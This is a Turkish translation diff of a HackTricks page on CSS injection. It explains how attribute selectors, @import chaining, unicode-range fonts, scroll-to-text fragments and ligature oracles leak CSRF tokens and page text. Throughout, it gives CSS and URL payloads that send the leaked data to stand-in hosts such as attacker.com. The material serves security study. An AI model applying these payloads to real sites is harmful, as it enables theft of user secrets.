<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Güvenlik Grubu**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@ HackTricks'ı desteklemenin diğer yolları:
***
## CSS Enjeksiyonu
## CSS Injection
### Öznitelik Seçici
### Attribute Selector
CSS seçicileri, bir `input` elementinin `name` ve `value` özniteliklerinin değerlerini eşleştirmek üzere oluşturulmuştur. Eğer input elementinin value özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış harici bir kaynak yüklenir:
CSS seçicileri, bir `input` öğesinin `name` ve `value` özniteliklerinin değerleriyle eşleşecek şekilde oluşturulmuştur. Eğer input öğesinin value özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış bir dış kaynak yüklenir:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,26 +40,30 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### Gizli Elemanlar için Atlatma
Ancak, bu yaklaşım gizli giriş elemanları (`type="hidden"`) ile çalışırken bir sınıra sahiptir çünkü gizli elemanlar arka planları yüklemez.
Bu kısıtlamayı atlatmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır, arka plan resminin yüklenmesine neden olur:
#### Gizli Elemanlar için Aşma
Bu sınırlamayı aşmak için, `~` genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemanı hedefleyebilirsiniz. CSS kuralı, gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resminin yüklenmesine neden olur:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### CSS Enjeksiyonu için Ön Koşullar
CSS Enjeksiyonu tekniğini etkili bir şekilde kullanabilmek için belirli koşulların sağlanması gerekmektedir:
CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirme**: Sayfayı çerçevelemek için yetkinizin olması gerekmektedir, bu da CSS'nin yeniden oluşturulan yüklerle tekrar değerlendirilmesini tetiklemek için gereklidir.
3. **Harici Kaynaklar**: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir.
1. **Yük Uzunluğu**: CSS enjeksiyon vektörü, oluşturulmuş seçicileri barındıracak kadar uzun yükleri desteklemelidir.
2. **CSS Yeniden Değerlendirmesi**: Sayfayı çerçeveleme yeteneğine sahip olmalısınız; bu, yeni oluşturulmuş yüklerle CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
3. **Harici Kaynaklar**: Teknik, harici olarak barındırılan resimleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
### Kör Öznitelik Seçici
### Kör Özellik Seçici
[**Bu yazıda açıklandığı gibi**](https://portswigger.net/research/blind-css-exfiltration), **`:has`** ve **`:not`** seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasındaki içeriğin ne olduğu hakkında hiçbir fikriniz olmadığında çok yararlıdır.\
Ayrıca, aynı türden birkaç bloktan bilgi çıkarmak için bu seçicileri kullanmak da mümkündür:
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -68,34 +73,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Bu, **@import** tekniği ile birleştirildiğinde, [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)** ile kör sayfalardan CSS enjeksiyonu kullanarak birçok bilgiyi dışarı çıkarmak mümkündür.**
Bunu aşağıdaki **@import** tekniği ile birleştirerek, **gözlemci sayfalardan CSS enjeksiyonu kullanarak çok fazla bilgi sızdırmak** mümkündür [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Önceki teknik bazı dezavantajlara sahiptir, önkoşulları kontrol edin. **Kurban'a birden fazla bağlantı gönderebilme** yeteneğine sahip olmanız gerekir veya **CSS enjeksiyonu açığı olan sayfayı iframe ile gömebilmeniz gerekir**.
Önceki tekniğin bazı dezavantajları vardır, ön koşulları kontrol edin. Ya **kurbanın birden fazla bağlantı alabilmesi** gerekir ya da **CSS enjeksiyonu zafiyeti olan sayfayı iframe'leyebilmeniz** gerekir.
Ancak, teknik kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Ancak, tekniğin kalitesini artırmak için **CSS `@import`** kullanan başka bir akıllı teknik vardır.
Bu ilk kez [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterildi ve şöyle çalışır:
Bu ilk olarak [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) tarafından gösterilmiştir ve şöyle çalışır:
Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine, **sayfayı sadece bir kez yükleyip sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurban'a gönderilecek payload'tır):
Her seferinde on farklı yük ile aynı sayfayı tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), **sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz** (bu, kurbana gönderilecek yük):
```css
@import url('//attacker.com:5001/start?');
```
1. Saldırganlar tarafından **bazı CSS betikleri alacak** ve **tarayıcı bunları yükleyecek**.
2. Saldırganın göndereceği CSS betiğinin ilk kısmı, **saldırganın sunucusuna başka bir `@import` olacak**.
3. Saldırganın sunucusu henüz bu isteği yanıtlamayacak, çünkü bazı karakterleri sızdırmak ve ardından bu ithalatı yanıtlamak için bir payload ile sızdırmak istiyoruz.
4. Payload'ın ikinci ve daha büyük kısmı, bir **özellik seçici sızıntı payloadı** olacak.
5. Bu, saldırganın sunucusuna **sırrın ilk ve son karakterini gönderecek**.
6. Saldırganın sunucusu, **sırrın ilk ve son karakterini aldığında**, adımda 2 istenen ithalatı **yanıtlayacak**.
7. Yanıt, **adımlar 2, 3 ve 4** ile tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir öncekini bulmaya çalışacak**.
1. İthalat, **saldırganlardan bazı CSS scriptleri alacak** ve **tarayıcı bunu yükleyecek**.
2. Saldırganın göndereceği CSS scriptinin ilk kısmı, **saldırganların sunucusuna başka bir `@import` olacak.**
1. Saldırganların sunucusu bu isteğe henüz yanıt vermeyecek, çünkü bazı karakterleri sızdırmak istiyoruz ve ardından bu ithalatı, sonraki karakterleri sızdırmak için yük ile yanıtlayacağız.
3. Yükün ikinci ve daha büyük kısmı, **bir nitelik seçici sızıntı yükü** olacak.
1. Bu, saldırganların sunucusuna **sırrın ilk ve son karakterini** gönderecek.
4. Saldırganların sunucusu, **sırrın ilk ve son karakterini** aldıktan sonra, **adım 2'de talep edilen ithalata yanıt verecek**.
1. Yanıt, **adım 2, 3 ve 4'tekiyle** tam olarak aynı olacak, ancak bu sefer **sırrın ikinci karakterini ve ardından sondan bir önceki karakteri bulmaya çalışacak**.
Saldırgan, sırrı tamamen sızdırmayı başarana kadar bu döngüyü **takip edecek**.
Saldırgan, **sırrı tamamen sızdırana kadar bu döngüyü takip edecek**.
Orijinal [**Pepe Vila'nın buığı sömürmek için yazdığı kodu buradan bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse aynı [**kodun yorumlanmış halini buradan bulabilirsiniz**.](./#css-injection)
Orijinal [**Pepe Vila'nın bunu istismar etmek için kodunu burada bulabilirsiniz**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) veya neredeyse [**aynı kodu ama yorumlu burada bulabilirsiniz**.](./#css-injection)
{% hint style="info" %}
Betik, başlangıçtan ve sondan 2 karakter keşfetmeye çalışacak çünkü özellik seçicisi şunları yapmaya izin verir:
Script, her seferinde 2 karakter keşfetmeye çalışacak (başlangıçtan ve sondan) çünkü nitelik seçici, şunları yapmaya izin verir:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -103,30 +108,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Bu, betiğin sırrı daha hızlı sızdırmasına izin verir.
Bu, scriptin sırrı daha hızlı sızdırmasına olanak tanır.
{% endhint %}
{% hint style="warning" %}
Bazen betik, keşfedilen önek + sonek'in zaten tam bayrağı olduğunu doğru bir şekilde algılamaz ve ileriye (önek içinde) ve geriye (sonek içinde) devam eder ve bir noktada takılır.\
Endişelenmeyin, sadece **çıktıyı kontrol edin** çünkü **bayrağı orada görebilirsiniz**.
Bazen script **önek + sonek'in zaten tam bayrak olduğunu doğru bir şekilde tespit edemez** ve ileri (önek içinde) ve geri (sonek içinde) devam eder ve bir noktada takılır.\
Endişelenmeyin, sadece **çıktıyı** kontrol edin çünkü **orada bayrağı görebilirsiniz**.
{% endhint %}
### Diğer seçiciler
**CSS seçicileri** ile DOM parçalarına erişmenin diğer yolları:
* **`.class-to-search:nth-child(2)`**: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.
* **`.class-to-search:nth-child(2)`**: Bu, DOM'daki "class-to-search" sınıfına sahip ikinci öğeyi arar.
* **`:empty`** seçici: Örneğin [**bu yazıda**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** kullanılır:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("SUNUCU_URL'NİZ?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### Hata tabanlı XS-Search
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Referans:** [CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Hata Tabanlı XS-Search PoC @terjanq tarafından](https://twitter.com/terjanq/status/1180477124861407234)
Genel amaç, **kontrollü bir uç noktadan özel bir yazı tipi kullanmak** ve **belirtilen kaynak (`favicon.ico`) yüklenemiyorsa metnin (bu durumda 'A') yalnızca bu yazı tipi ile görüntülenmesini sağlamaktır.**
Genel amaç, **kontrol edilen bir uç noktadan özel bir yazı tipi kullanmak** ve **metnin (bu durumda, 'A') yalnızca belirtilen kaynak (`favicon.ico`) yüklenemezse bu yazı tipi ile görüntülenmesini sağlamaktır**.
```html
<!DOCTYPE html>
<html>
@ -150,46 +155,46 @@ font-family: 'poc';
</body>
</html>
```
1. **Özel Font Kullanımı**:
- Özel bir font, `<head>` bölümünde `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Font `poc` adını taşır ve dış bir uç noktadan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği, belirli Unicode karakteri 'A' hedefleyen `U+0041` olarak ayarlanmıştır.
1. **Özel Yazı Tipi Kullanımı**:
- Özel bir yazı tipi, `<head>` bölümündeki bir `<style>` etiketi içinde `@font-face` kuralı kullanılarak tanımlanır.
- Yazı tipinin adı `poc` ve harici bir uç noktadan (`http://attacker.com/?leak`) alınır.
- `unicode-range` özelliği, belirli Unicode karakteri 'A' hedef alınarak `U+0041` olarak ayarlanmıştır.
2. **Yedek Metin ile Obje Elemanı**:
- `<body>` bölümünde `id="poc0"` özelliğine sahip bir `<object>` elemanı oluşturulur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynağı yüklemeye çalışır.
- Bu eleman için `font-family` özelliği, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır.
- Kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketi içindeki yedek içerik (harf 'A') görüntülenir.
- Dış kaynak yüklenemezse, yedek içerik ('A'), özel font olan `poc` kullanılarak oluşturulur.
2. **Yedek Metin ile Nesne Elemanı**:
- `<body>` bölümünde `id="poc0"` olan bir `<object>` elemanı oluşturulur. Bu eleman, `http://192.168.0.1/favicon.ico` adresinden bir kaynak yüklemeye çalışır.
- Bu eleman için `font-family`, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanmıştır.
- Eğer kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
- Harf 'A' dış kaynak yüklenemezse özel yazı tipi `poc` kullanılarak render edilecektir.
### Metin Parçasına Kaydırma Stili
### Kaydırma ile Metin Parçasını Stilize Etme
**`:target`** yalancı-sınıfı, bir **URL parçası** tarafından hedeflenen bir elemanı seçmek için kullanılır, [CSS Seçiciler Seviye 4 spesifikasyonunda](https://drafts.csswg.org/selectors-4/#the-target-pseudo) belirtildiği gibi. `::target-text`'in, metin açıkça parça tarafından hedeflenmediği sürece herhangi bir elemanla eşleşmediği önemlidir.
**`:target`** psödo-sınıfı, [CSS Seçicileri Seviye 4 spesifikasyonu](https://drafts.csswg.org/selectors-4/#the-target-pseudo) gereğince bir **URL parçası** tarafından hedeflenen bir elementi seçmek için kullanılır. `::target-text`'in, metin parça tarafından açıkça hedeflenmediği sürece hiçbir elementi eşleştirmediğini anlamak önemlidir.
Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli metnin varlığını doğrulamalarına izin veren **Metne Kaydırma** parçası özelliğini istismar ettiğinde ortaya çıkar. Bu yöntem, şu gibi bir CSS kuralının enjekte edilmesini içerir:
Saldırganların **Kaydırma ile Metin** parçası özelliğini kullanarak belirli bir metnin bir web sayfasında varlığını doğrulamak için HTML enjeksiyonu yoluyla kendi sunucularından bir kaynak yüklemeleri, bir güvenlik endişesi doğurur. Yöntem, şöyle bir CSS kuralı enjekte etmeyi içerir:
```css
:target::before { content : url(target.png) }
```
Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, metnin varlığını gösteren `target.png` kaynağı sunucudan istenir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi ve bir Scroll-to-text parçasını içeren özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:
Bu tür senaryolarda, sayfada "Administrator" metni varsa, `target.png` kaynağı sunucudan talep edilir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilen CSS'yi bir Scroll-to-text parçasıyla birlikte içeren özel olarak hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
İşte saldırı, CSS kodunu iletmek için HTML enjeksiyonunu manipüle eder ve Scroll-to-text parçası (`#:~:text=Administrator`) aracılığıyla belirli metin "Yönetici" hedeflenir. Metin bulunursa, belirtilen kaynak yüklenir ve yanlışlıkla varlığını saldırganın fark etmesine neden olur.
Burada, saldırı CSS kodunu iletmek için HTML enjeksiyonunu manipüle ediyor ve "Administrator" metnini hedef alıyor (`#:~:text=Administrator`). Metin bulunursa, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını sinyal eder.
Hafifletme için aşağıdaki noktalara dikkat edilmelidir:
Azaltma için aşağıdaki noktalar dikkate alınmalıdır:
1. **Kısıtlanmış STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.
2. **Üst Düzey Göz Atma Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframeler içinde işlev görmez, bu da herhangi bir sömürü girişimini kullanıcıya daha fark edilir hale getirir.
3. **Kullanıcı Etkinleştirme Gerekliliği**: STTF, işlem yapmak için bir kullanıcı etkinleştirme jesti gerektirir, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesinin riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) konusunda belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtir.
1. **Sınırlı STTF Eşleşmesi**: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da rastgele sırların veya token'ların sızdırılma yeteneğini sınırlamaktadır.
2. **Üst Düzey Tarayıcı Bağlamlarına Kısıtlama**: STTF yalnızca üst düzey tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez, bu da herhangi bir istismar girişimini kullanıcıya daha belirgin hale getirir.
3. **Kullanıcı Etkileşimi Gerekliliği**: STTF'nin çalışması için bir kullanıcı etkileşimi gereklidir, bu da istismarların yalnızca kullanıcı tarafından başlatılan gezintilerle mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilme riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomatikleştirilmesini kolaylaştırabilecek belirli koşulları ve geçiş yollarını (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtmektedir.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sürdürmek ve bu tür sömürücü taktiklere karşı korunmak için önemlidir.
Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sağlamak ve bu tür istismar taktiklerine karşı korunmak için anahtardır.
Daha fazla bilgi için orijinal raporu kontrol edebilirsiniz: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Daha fazla bilgi için orijinal raporu kontrol edin: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Bu tekniği kullanan bir CTF için bir [**sömürü örneğini buradan kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Bu teknikle bir CTF için bir [**istismar kontrol edebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Örneğin, sayfada bulunan belirli unicode değerleri için **harici yazı tipleri belirleyebilirsiniz** ve yalnızca bu unicode değerleri varsa **toplanacaklardır**:
**Belirli unicode değerleri için dış fontlar belirtebilirsiniz** ve bu fontlar yalnızca **bu unicode değerleri sayfada mevcutsa toplanacaktır**. Örneğin:
```html
<style>
@font-face{
@ -214,22 +219,22 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Bu sayfaya eriştiğinizde, Chrome ve Firefox, hassas-bilgi metninin "A" ve "B" karakterlerini içermesinden dolayı "?A" ve "?B" alır. Ancak Chrome ve Firefox, "C" içermediği için "?C" alımaz. Bu, "A" ve "B" okuyabildiğimizi gösterir.
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
### Metin düğümü sızdırma (I): ligatürler <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referans:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Reference:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Anlatılan teknik, font ligatürlerini sömürerek bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:
Açıklanan teknik, font ligatürlerini kullanarak bir düğümden metin çıkarmayı ve genişlikteki değişiklikleri izlemeyi içerir. Süreç birkaç adımdan oluşur:
1. **Özel Fontların Oluşturulması**:
- SVG fontlar, iki karakter dizisini temsil eden bir glif için geniş bir genişlik belirleyen `horiz-adv-x` özniteliğine sahip gliflerle oluşturulur.
- Örnek SVG glif: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakter dizisini belirtir.
- İki karakter dizisini temsil eden bir glif için büyük bir genişlik ayarlayan `horiz-adv-x` niteliğine sahip glifler ile SVG fontları oluşturulur.
- Örnek SVG glifi: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakter dizisini belirtir.
- Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
2. **Genişlik Değişikliklerinin Algılanması**:
- Metnin kaymamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırma çubuğu stili özelleştirilir.
- Belirgin bir şekilde biçimlendirilmiş yatay bir kaydırma çubuğunun görünmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak hareket eder.
2. **Genişlik Değişikliklerinin Tespiti**:
- Metnin sarılmamasını sağlamak için CSS kullanılır (`white-space: nowrap`) ve kaydırıcı stilini özelleştirir.
- Farklı bir şekilde stillendirilmiş yatay bir kaydırıcının görünümü, metinde belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin mevcut olduğuna dair bir gösterge (oracle) olarak işlev görür.
- İlgili CSS:
```css
body { white-space: nowrap };
@ -238,28 +243,28 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
```
3. **Sömürü Süreci**:
- **Adım 1**: Geniş birlikte karakterler için fontlar oluşturulur.
- **Adım 2**: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğinde algılamak için bir kaydırma çubuğu tabanlı bir hile kullanılır, bu karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür algılandığında, algılanan çifti içeren ve önceki veya sonraki bir karakter ekleyen üç karakterlik diziyi temsil eden yeni glifler oluşturulur.
- **Adım 4**: Üç karakterlik ligatürün algılanması gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanarak tüm metin aşamalı olarak ortaya çıkarılır.
- **Adım 1**: Genişliği büyük olan karakter çiftleri için fontlar oluşturulur.
- **Adım 2**: Büyük genişlik glifinin (bir karakter çiftinin ligatürü) render edildiğini tespit etmek için kaydırıcı tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
- **Adım 3**: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya sonraki karakter ekleyen üç karakter dizilerini temsil eden yeni glifler üretilir.
- **Adım 4**: Üç karakter ligatürünün tespiti gerçekleştirilir.
- **Adım 5**: Süreç tekrarlanır, metnin tamamı yavaş yavaş açığa çıkar.
4. **Optimizasyon**:
- Mevcut başlatma yöntemi `<meta refresh=...` kullanılarak optimal değildir.
- Mevcut `<meta refresh=...` ile başlatma yöntemi optimal değildir.
- Daha verimli bir yaklaşım, sömürünün performansını artıran CSS `@import` hilesini içerebilir.
### Metin düğümü sızdırma (II): varsayılan bir font ile karakter kümesinin sızdırılması (harici varlıklara gerek yok) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referans:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Bu hile, bu [**Slackers konusunda**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/) yayınlandı. Bir metin düğümünde kullanılan karakter kümesi, tarayıcıda yüklü olan varsayılan fontlar kullanılarak sızdırılabilir: harici -veya özel- fontlara gerek yoktur.
Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) içinde yayımlandı. Bir metin düğümünde kullanılan karakter seti, **tarayıcıda yüklü olan varsayılan fontlar** kullanılarak sızdırılabilir: dışarıdan -veya özel- fontlara ihtiyaç yoktur.
Kavram, bir animasyon kullanarak bir `div`'in genişliğini aşamalı olarak genişletmeyi ve bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin vererek metni iki bölüme bölmeyi içerir. Bu süreç, metni iki bölüme böler:
Kavram, bir `div`'in genişliğini kademeli olarak artırmak için bir animasyon kullanmayı ve bir karakterin bir seferde 'suffix' kısmından 'prefix' kısmına geçiş yapmasını sağlamayı içerir. Bu süreç, metni iki bölüme ayırır:
1. **Önek**: İlk satır.
2. **Sonek**: Sonraki satır(lar).
1. **Prefix**: İlk satır.
2. **Suffix**: Sonraki satır(lar).
Karakterlerin geçiş aşamaları şu şekilde görünür:
Karakterlerin geçiş aşamaları şu şekilde görünecektir:
**C**\
ADB
@ -273,16 +278,16 @@ B
**CADB**
Bu geçiş sırasında, her yeni karakterin öne katılmasıyla **unicode-range hilesi** kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir, bu da varsayılan fonttan belirgin şekilde daha uzun olan Comic Sans'ın dikey bir kaydırma çubuğunu tetiklemesine neden olur. Bu kaydırma çubuğunun görünümü, dolaylı olarak önek kısmında yeni bir karakterin varlığını ortaya çıkarır.
Bu geçiş sırasında, **unicode-range trick** kullanılarak her yeni karakterin prefix'e katılması tespit edilir. Bu, fontun Comic Sans'a değiştirilmesiyle gerçekleştirilir; bu font, varsayılan fonta göre belirgin şekilde daha yüksektir ve dolayısıyla dikey bir kaydırıcıyı tetikler. Bu kaydırıcının görünümü, prefix'te yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır.
Bu yöntem, karakterlerin ortaya çıktığı şekilde benzersiz karakterlerin tespitine izin verir, ancak yinelenen hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
Bu yöntem, benzersiz karakterlerin görünmesiyle tespit edilmesini sağlasa da, hangi karakterin tekrarlandığını belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
{% hint style="info" %}
Temelde, **unicode-range**, bir karakteri tespit etmek için kullanılır, ancak harici bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor.\
**Char** bulunduğunda, ona önceden yüklenmiş **Comic Sans fontu** verilir, bu da karakteri **büyütür** ve bir **kaydırma çubuğu tetikler**, böylece **bulunan karakteri sızdırır**.
Temelde, **unicode-range bir karakteri tespit etmek için kullanılır**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
